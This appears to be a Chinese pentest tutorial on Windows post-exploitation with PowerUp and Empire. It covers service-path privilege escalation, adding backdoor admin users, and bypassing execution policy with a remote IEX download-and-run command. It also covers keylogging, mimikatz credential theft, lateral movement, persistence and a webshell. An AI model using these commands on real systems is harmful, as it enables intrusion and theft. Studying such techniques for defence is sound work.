8. Test-ServiceDaclPermission

检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则返回该服务对象。

执行方式:

PS C:>Test-ServiceDaclPermission

9. Get-ServiceUnquoted

检查服务路径,返回包含空格但是不带引号的服务路径。

此处利用的windows的一个逻辑漏洞,即当文件包含空格时,windows API会解释为两个路径,并将这两个文件同时执行,有些时候可能会造成权限的提升。

比如C:program fileshello.exe ,会被解释为C:program.exe以及C:program fileshello.exe

执行方式:

PS C:>Get-ServiceUnquoted

10. Get-UnattendedInstallFile

检查几个路径,查找是否存在这些文件,在这些文件里可能包含有部署凭据。这些文件包括:

c:\sysprep\sysprep.xml

c:\sysprep\sysprep.inf

c:sysprep.inf

c:\windows\Panther\Unattended.xml

c:\windows\Panther\UnattendUnattended.xml

c:\windows\Panther\Unattend.xml

c:\windows\Panther\UnattendUnattend.xml

c:\windows\S\ystem32\Sysprep\unattend.xml

c:\windows\System32\Sysprep\Panther\unattend.xml

执行方式:

PS C:> Get-UnattendedInstallFile

11. Get-ModifiableRegistryAutoRun

检查开机自启的应用程序路径和注册表键值,返回当前用户可修改的程序路径。

注册表检查的键值为:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService

HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService

HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService

执行方式:

PS C:>Get-ModifiableRegistryAutoRun

​12. Get-ModifiableScheduledTaskFile

返回当前用户能够修改的计划任务程序的名称和路径。

执行方式:

PS C:>Get-ModifiableScheduledTaskFile

13. Get-Webconfig

返回当前服务器上的web.config文件中的数据库连接字符串的明文。

执行方式:

PS C:>get-webconfig

​14. Invoke-ServiceAbuse

用来通过修改服务添加用户到指定组,并可以通过定制-cmd参数触发添加用户的自定义命令。

执行方式:

PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC # 添加默认账号

PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号

PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Administrators" # 指定添加用户,用户密码以及添加的用户组。

PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..."# 自定义执行命

15. Restore-ServiceBinary

恢复服务的可执行文件到原始目录。

执行方式:

PS C:> Restore-ServiceBinary -ServiceName VulnSVC

16. Test-ServiceDaclPermission

检查某个用户是否在一个服务有自由访问控制的权限,返回true或false。

执行方式:

PS C:> Restore-ServiceBinary -ServiceName VulnSVC

17. Write-HijackDll

输出一个自定义命令并且能够自删除的bat文件到$env:Tempdebug.bat,并输出一个能够启动这个bat文件的dll。

18.Write-UserAddMSI

生成一个安装文件,运行这个安装文件,则弹出添加用户的框。

执行方式:

PS C:> Write-UserAddMSI

19. Write-ServiceBinary

预编译C#服务的可执行文件。默认创建一个默认管理员账号。可通过Command定制自己的命令。

执行方式:

PSC:>Write-ServiceBinary -ServiceName VulnSVC # 添加默认账号

PSC:>Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号

PSC:>Write-ServiceBinary-ServiceName VulnSVC -UserName backdoor -Password Password123! # 指定添加用户,用户密码以及添加的用户组

PSC:> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." # 自定义执行命

20. Install-ServiceBinary

通过Write-ServiceBinary写一个C#的服务用来添加用户。

执行方式:

PSC:> Install-ServiceBinary -ServiceName DHCP

PSC:> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn"

PSC:>Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123!

PSC:> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..."

Write-ServiceBinary与Install-ServiceBinary不同的是前者生成可执行文件,后者直接安装服务

PowerUP攻击模块实战演练

​ 很多PowerUp模块不能一一演示,只针对性介绍几个常用模块的实战应用

实战演练一

首先我们安装一个存在漏洞的服务环境:

https://www.exploit-db.com/apps/4ebfe36538da7b518c2221e1abd8dcfc-pspro_50_3310.exe

安装好漏洞环境后,我们建一个普通用户:net user powerup 123456 /add

然后登录到这个新建的普通用户

我们可以把PowerUp脚本上传到目标服务器,或是远程内存加载

这里远程加载如下:

 然后调用Invoke-AllChecks

网络安全渗透_第64张图片

先介绍下Unquoted Service Paths 

简介

“包含空格但没有引号的服务路径”,利用windows解析文件路径的特性,如果一个服务的可执行文件路径设置不当,攻击者可构造对应的可执行文件,从而利用提权,PowerUp的相关模块可以帮助我们完成提权

实战演练一

漏洞原理

这里假设有一个服务路径 C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe

带引号时:"C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe"会被看成一个完整的服务路径,故不会产生漏洞。

不带引号时:我们认为的服务路径是C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe,但是由于没有双引号的包裹,Windows会认为C:\Program空格后面的为Program这个程序的参数来进行启动服务。这样攻击者就可以命名一个为Program.exe的后门文件放在c盘下,进而等待含漏洞服务路径的启动或重启导致后门文件的执行。

实战演练一

根据前面调用Invoke-AllChecks,返回的结果存在包含空格但没有引号的服务路径

C:\Program Files (x86)\Photodex\ProShow Producer\ScsiAccess.exe

这时需要检测目录是否有写权限

C:\ 普通用户目录默认是不让写的

C:\Program Files (x86)\Photodex\

可以使用cacls或icacls,可以看到当前用户不可写

网络安全渗透_第65张图片

 再测试C:\Program Files (x86)\Photodex\ProShow Producer\发现可写

网络安全渗透_第66张图片

 直接Write-ServiceBinary 来尝试提权,如下提示进程在使用网络安全渗透_第67张图片

使用move把文件重命名,然后重新执行写入,这时生成的ScsiAccess.exe为利用程序

当服务器重启后,提权成功,系统会新增一个管理员权限用户john/Password123!

网络安全渗透_第68张图片

 提权成功后我们把所有状态恢复到最初的状态

实战演练

AlwaysInstallElevated提权

该漏洞产生的原因是用户在策略编辑器中开启了Windows Installer特权安装功能:

设置漏洞环境

管理员用户在“运行”设置框中输入“gpedit.msc”,打开组策略编辑器。

组策略——计算机配置——管理模板——Windows组件——Windows Installer——永远以高特权进行安装:选择启用。

设置完毕之后,会在两个注册表如下位置自动创建键值为”1″。

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001

防御的话,就是把上述启用的选项关闭

实战演练

在这次中用到Get-RegistryAlwaysInstallElevated和Write-UserAddMSI两个模块

 首先先加载PowerUp,使用Get-RegistryAlwaysInstallElevated检测相关注册表是否被设置

显示“true”则表示AlwaysInstallElevated注册表已经被设置:这就意味着MSI文件是以System权限运行的。

接着运行Write-UserAddMSI,会在当前目录下生成一个UserAdd.msi文件

网络安全渗透_第69张图片

 以普通用户权限运行UserAdd.msi添加管理员账户        成功添加backdoor管理员权限账户

 网络安全渗透_第70张图片

PowerShell技术

常用的PowerShell攻击工具:

PowerSploit:这是众多PowerShell攻击工具中被广泛使用的PowerShell后期的漏洞利用框架,常用来进行信息探测,特权提升,凭证窃取,持久化等操作。

Nishang:基于PowerShell的渗透测试专用工具,集成了框架,脚本和各种Payload,包含下载和执行,键盘记录,DNS,延时命令等脚本。

Empire:基于PowerShell的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块,信息探测,凭证窃取,持久化控制。

PowerCat:PowerShell版的NetCat,有着网络工具中的”瑞士军刀”美誉,它能通过TCP和UDP在网络中读取数据。通过与其他工具结合和重定向,可以在脚本中以多种方式使用它。

PowerShell是一种基于任务的命令行解释器和脚本环境,可以说是一种强大的shell,如同linuxbash,专为系统管理员而设计,以.NET框架为平台,Windows PowerShell帮助IT专业人员和超级用户控制和自动化管理Windows操作系统和运行在操作系统上的应用。现被更广泛用于渗透测试等方面,在不需要写入磁盘的情况下执行命令,也可以逃避Anti-Virus检测。另外,可以把PowerShell看作命令行提示符cmd.exe的扩充

 PowerShell优点

基于.NET框架

操作系统信任

提供win系列操作系统的几乎一切访问权限

win7之后默认安装

脚本可以运行在内存中,不需要写入磁盘

cmd.exe通常会被安全软件阻止,一般PowerShell不会

第一种

win+r启动运行下输入powershell进入网络安全渗透_第71张图片

 网络安全渗透_第72张图片

第二种

cmd下输入powershell进入

网络安全渗透_第73张图片

PowerShell版本 

 网络安全渗透_第74张图片

可以输入Get-Host或者$PSVersionTable.PSVERSION命令查看当前系统的PowerShell版本 

PowerShell基本概念

PS1文件:

一个PowerShell脚本其实就是一个简单的 文本文件,这个文件包含了一系列的 PowerShell命令,每个命令显示为独立的一行,PowerShell文件的后缀为 .PS1

PowerShell基本概念

执行策略:

为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设置为受限。

我们可以使用: Get-ExecutionPolicy  命令查看PowerShell当前的执行策略。它有4个策略。

Restricted:脚本不能运行(默认设置)

RemoteSigned:本地创建的脚本可以运行,但是从网上下载的脚本不能运行(拥有数字证书签名的除外)

AllSigned:仅当脚本由受信任的发布者签名时才能运行;

Unrestricted:允许所有的脚本执行

另外修改PowerShell执行策略:Set-ExecutionPolicy 策略名 #该命令需要管理员权限运行

PowerShell基本概念

运行脚本:

运行一个脚本,必须键入完整的路径和文件名,例如,你要运行一个名为a.ps1的脚本,可以键入c:\script\a.ps1

但如果PowerShell脚本文件在你的系统目录中,那么在命令提示符后直接键入脚本文件名即可运行,如.\a.ps1的前面就加上“.\”,这和在Linux下执行Shell脚本的方法一样。

网络安全渗透_第75张图片

管道:

管道的作用就是将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号(|)连接

例如:

假设停止所有目前运行中的,以“note"字符开头命名的程序

Get-Process note*|stop-process

 基本知识:

在PowerShell下,类似“cmd命令”叫做“cmdlet” ,其命令的命名规范很一致,都采用了 动词-名词的形式,如Net-Item,动词一般为AddNewGetRemoveSet等。PowerShell还兼容cmdLinux命令,如查看目录可以使用 dir 或者 ls ,并且PowerShell命令不区分大小写。

后面会以文件操作为例讲解PowerShell命令的基本用法

文件操作类的PowerShell命令:

新建目录testNew-Item test -ItemType directory

删除目录testRemove-Item test

新建文件test.txtNew-Item test1.txt -ItemType file

新建文件test.txt,内容为 helloNew-Item test.txt -ItemType file -value "hello"

查看文件test.txt内容:Get-Content  test.txt

设置文件test.txt内容tSet-Content  test.txt  -Value "haha"

给文件test.txt追加内容:Add-Content test.txt  -Value ",word!"

清除文件test.txt内容:Clear-Content test.txt

删除文件test.txtRemove-Item test.txt

绕过执行策略执行PowerShell脚本

如果运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted

在渗透测试时,就需要采用一些方法绕过策略来执行PowerShell脚本,列举如下三种方式

1.绕过本地权限执行

2.本地隐藏绕过权限执行脚本

3.用IEX下载远程PS1脚本绕过权限执行

上传test.ps1到目标主机,在cmd环境下,在目标主机本地当前目录执行该脚本

powershell -exec bypass  .\test.ps1

网络安全渗透_第76张图片

powershell.exe -exec bypass -W hidden -nop  test.ps1

输入命令执行后会退出命令提示符

 网络安全渗透_第77张图片

IEX下载远程PS1脚本绕过权限执行

powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')

网络安全渗透_第78张图片

PowerShell命令参数说明

对上述命令参数进行说明

ExecvtionPolicy Bypass(-exec bypass):绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PoweShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则;

WindowStyle Hidden(-w hidden):隐藏窗口,也就是执行完命令后,窗口隐藏;

-command(-c):执行powershell脚本;

NoProfile(-nop):PowerShell控制台不加载当前用户的配置文件;

NoLogo:启动不显示版权标志的PowerShell;

Nonlnteractive(-noni):非交互模式;

Noexit:执行后不退出shell,这在使用键盘记录等脚本时非常重要;

-enc  base64: 把ps脚本编码成base64来执行,实战用的最多;

Empire简介

 Empire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powshell.exe就可运行Powershell代理的功能,还可以快速在后期部署漏洞利用模块,其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等,使用能够躲避内网检测和大部分安全防护工具的查杀,简单来说就有点类似Metasploit,是一个基于PowerShell的远程控制木马。

Empire的全部功能可以参考其官方网站:

http://www.powershellempire.com

Empire安装

Empire运行在linux平台上

官方下载地址,不过很久没有更新,需要Python 2.6/2.7环境

https://github.com/EmpireProject/Empire

其他分支目前还有人在更新维护,需要Python 3.x环境

https://github.com/BC-SECURITY/Empire

可以选择其中一个安装使用,这里我们还是以官方这个来安装使用

Empire安装

这里使用的系统是Kali,首先通过git命令下载程序目录。

git clone https://github.com/EmpireProject/Empire.git

网络安全渗透_第79张图片

然后安装Empire的依赖,命令如下

cd Empire 

cd setup

pip install -r requirements.txt(若没有安装pip库,则需要先通过apt-get install pip进行安装)

./install.sh

在安装完依赖以后,返回上一级文件,启动Empire工具,命令如下:

cd ..

./empire

若启动失败,则可能是因为依赖未完全安装好,只需要手动通过pip install xxx安装未安装好的依赖即可。

启动时如果遇到如下报错

 可以将urllib3版本降级

pip install urllib3==1.22

重新设定

bash reset.sh

打开Empire后,可以看到版本为2.5280模块(modules),0个监听(listeners),0个会话(agents

网络安全渗透_第80张图片

 Empire的基本使用

基本使用会涉及如下内容:

1.帮助文档

2.设置监听

3.生成木马

4.连接主机和基本使用

5.信息收集

6.权限提升

Empire的基本使用

帮助文档

​运行Empire后,输入help命令查看具体的使用帮助。网络安全渗透_第81张图片

设置监听

Empire和Metasploit的使用原理一样,都是需要先设置一个监听,接着生成一个木马,然后在目标主机上运行该木马,我们的监听就会连接上反弹回来的会话。

设置监听步骤如下:

listeners #进入监听线程界面

uselistener #设置监听模式

info #查看具体参数设置

set #设置相应参数

execute #开始监听

 设置监听

输入Listeners命令进入监听界面,按TAB键可以补全命令,按两次TAB键或者help可以显示可以利用的模块网络安全渗透_第82张图片

 输入uselistener来设置采用何种监听模式,双击TAB可以看到有以下可以使用的模式。

设置监听

这里采用http监听模式,输入uselistener http。

 然后输入info命令查看具体参数设置。其中Require为True的值都需要被设置。 

网络安全渗透_第83张图片

设置监听

通过set配置参数,并提供execeute执行,需要注意的是Empire不同于Metasploit,Empire命令是区分大小写的网络安全渗透_第84张图片

 通过back返回上一级,使用listeners或者list可以查看所设置的监听器

网络安全渗透_第85张图片

Empire的基本使用

生成木马

输入usestager后 空格加TAB键 查看可以设置的木马模式

网络安全渗透_第86张图片

木马就类似Metasploit中的payload,其中multi为通用模块,osx是Mac操作系统的模块,剩下的是Windows的模块。

生成木马

我们以 windows/launcher_bat为例,给大家说下过程,其他的使用都类似

要使用launcher_bat,首先输入usestager windows/launcher_bat,然后输入info命令查看详细参数

网络安全渗透_第87张图片

生成木马

通过set配置参数,我们需要设置一个 Listener 参数,即监听的名字(前面我们给监听起得一个名字test1),通过execeute执行,

文件会生成到 tmp 目录下,如下所示

 在目标主机上运行生成的launcher.bat,输入 agents 可以查看已经获得的会话

网络安全渗透_第88张图片

 我们再介绍另一种生成木马方式:launcher

如果只需要简单的powershell 代码,在设置完相应的参数后,可直接在监听器(listeners)中输入命令 launcher 生成base64编码的代码网络安全渗透_第89张图片

 然后复制生成的payload 在目标机器上执行

 可以看到有会话生成,输入 agents 可以查看已经获得的会话网络安全渗透_第90张图片

连接主机和基本使用

​在目标主机反弹成功以后,可以通过agents命令列出当前已连接的主机,这里要注意如果有带有(*)的是已提权成功的主机。

然后使用interact命令连接主机,可以使用Tab键补全主机的名称,连接成功以后可以通过rename修改会话名称网络安全渗透_第91张图片

 ​可以通过help查看可以使用的命令网络安全渗透_第92张图片

连接主机和基本使用

upload可以上传文件,通过cat查看文件内容网络安全渗透_第93张图片

 使用某些CMD命令时,要使用“shell+命令的形式” ,如下 

 网络安全渗透_第94张图片

信息收集

​Empire主要用于后渗透。所以信息收集是比较常用的一个模块,可以使用searchmodule命令搜索需要使用的模块,这里通过键如usemodule collection然后按Tab查看完整的列表

 1.屏幕截 图

​输入以下命令,然后执行即可网络安全渗透_第95张图片

2.键盘记录

​输入以下命令usemodule collection/keylogger,通过info可以查看详细信息,execute执行

网络安全渗透_第96张图片

网络安全渗透_第97张图片

4.查找域管登陆服务器IP

在内网渗透中,要想拿到内网中某台机器的域管权限,方法之一就是找到域管登录的机器,然后横向渗透进去,窃取域管权限,从而拿下整个域,以下这个模块就是用来查找域管登录的机器的。

使用模块usemodule situational_awareness/network/powerview/user_hunter

网络安全渗透_第98张图片

权限提升

提权,顾名思义就是提高自己在服务器中的权限,就比如在Windows中,你本身登陆的用户是Guest,通过提权后,就会变成超级管理员,拥有了管理Windows的所有权限。以下是常见几种提权方式:

1.Bypass UAC

UAC介绍

UACUserAccount Control,用户账户控制)简言之就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。

网络安全渗透_第99张图片

为了远程执行目标的exe或者bat可执行文件绕过此安全机制,以此叫BypassUAC(不进行弹窗直接运行执行文件)

输入以下命令,设置Listener参数,运行execute,会发现成功上线了一个新的反弹

网络安全渗透_第100张图片

 查找系统中的漏洞,和PowerSploitPowerUp中的Invoke-AllChecks模块一样,该模块可以执行所有脚本检查系统漏洞

 网络安全渗透_第101张图片

权限提升

3.通过溢出漏洞

本地溢出提权首先要有服务器的一个普通用户权限,攻击者通常会向服务器上传本地溢出程序,在服务器端执行,如果系统存在漏洞,那么将溢出Administrator权限。

这里我们使用ms16-032来提权,输入以下命令即可通过溢出漏洞进行提权

网络安全渗透_第102张图片

横向渗透

横向渗透,就是在已经攻占部分内网主机的前提下,利用既有的资源尝试获取更多的凭据、更高的权限,进而达到控制整个内网、拥有最高权限、发动类似 APT 的目的。

在横向渗透中,最先得到的主机,以及之后新得到的主机,会成为突破口、跳板。如同一个不断扩大的圆形,获得的主机越多,圆能触及之处越大,让其周遭的「横向」部分由未知成为已知。

横向渗透

1.令牌窃取

我们在获取到服务器权限后,可以使用内置mimikatz获取系统密码,执行完毕后输入creds命令查看Empire列举的密码。如下图所示

从这里发现有域用户曾在此服务器上登录,此时可以窃取域用户身份,然后进行横向移动

网络安全渗透_第103张图片

网络安全渗透_第104张图片

 

 网络安全渗透_第105张图片

 输入revtoself命令可以将令牌权限恢复到原来的状态

2.会话注入

我们也可以使用usemodule management/psinject模块来进程注入,获取权限,输入info查看参数设置,如下图所示。

 网络安全渗透_第106张图片

 设置下ListenersProcID2个参数,这里的ProcID还是之前的CMD1380,运行后反弹回一个域用户权限shell。网络安全渗透_第107张图片

3.Invoke-PsExec

PsExec是我在Metasploit下经常使用的模块,还有pstools工具包当中也有psexec,缺点是该工具基本杀毒软件都能检测到,并会留下日志,而且需要开启admin$ 445端口共享。优点是可以直接返回SYSTEM权限。这里我们要演示的是Empire下的Invoke-Psexec模块。

使用该模块的前提是我们已经获得本地管理员权限,甚至域管理员账户,然后以此来进一步持续渗透整个内网。

我们测试该模块前看下当前agents,只有一个IP192.168.31.251,机器名为WIN7-64的服务器,如下图所示。

现在使用模块usemodule lateral_movement/invoke_psexec渗透域内另一台机器WIN7-X86,输入info查看设置参数,如下图所示。网络安全渗透_第108张图片

 这里要设置下机器名和监听,输入下列命令,反弹成功网络安全渗透_第109张图片

权限维持

    攻击者在获取服务器权限后,通常会用一些后门技术来维持服务器权限,服务器一旦被植入后门,攻击者如入无人之境。服务器重启后,我们的后门程序仍能触发继续运行。这里讲一些window服务端常见的后门技术

权限维持

1.权限持久性劫持shift后门

shitf后门,其实就是使用了windows系统的粘滞键功能,当连按5次shift键的时候就会启动粘滞键程序。然后后门程序替换掉这个程序,然后通过按5次就来启动后门。

输入命令usemodule lateral_movement/invoke_wmi_debuggerinfo模块,可以输入info查看参数,

网络安全渗透_第110张图片set设置相关参数网络安全渗透_第111张图片

2.注册表注入后门

使用usemodule persistence/userland/registry模块,运行后会在目标主机启动项添加一个命令,可以输入info查看信息

网络安全渗透_第112张图片

Empire反弹回Metasploit

在实际渗透中,当拿到webshell上传的Metasploit客户端无法绕过目标主机的杀软时,可以使用PowerShell来绕过,也可以执行EmpirePayload来绕过,成功之后再用Empire的模块将其反弹回Metasploit

首先在Metasploit我们使用multi/script/web_delivery模块,输入如下命令网络安全渗透_第113张图片

 使用usemodule code_execution/invoke_metasploitpayload模块,输入info看下参数,如下图所示

网络安全渗透_第114张图片

 这里我们只需修改1个参数URL,

修改为前面Metasploit生成的Using URL: http://192.168.199.129:8088/qJaa5sHBuNst5y

按下列命令设置完毕,然后执行

Metasploit收到Empire反弹回来的shell,如下图所示。网络安全渗透_第115张图片

网络安全渗透_第116张图片

 

网络安全渗透_第117张图片

 

 

网络安全渗透_第118张图片

 

权限提升

需要UAC的授权才能进行的操作列表如下:

配置Windows Update

增加、删除账户

更改账户类型

更改UAC的设置

安装ActiveX

安装、卸载程序

安装设备驱动程序

将文件移动/复制到Program Files或Windows目录下

查看其它用户的文件夹

权限提升

UAC有如下四种设置要求:   

始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户 

仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度 

从不提示:当用户为系统管理员时,所有程序都会以最高权限运行

如何Bypass UAC

我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。

WebShell后门

存放于nishang Antak-WebShell目录下,就是一个ASPX的大马,但是命令行是PowerShell,比单纯的cmd强大很多,功能比较齐全。

将Nishang的antak.aspx文件,放在IIS网站中

然后访问网站中的antak.aspx文件(出现登陆页面)

Nishang的antak用户名:Disclaimer

Nishang的antak密码:ForLegitUseOnly

你可能感兴趣的:(网络)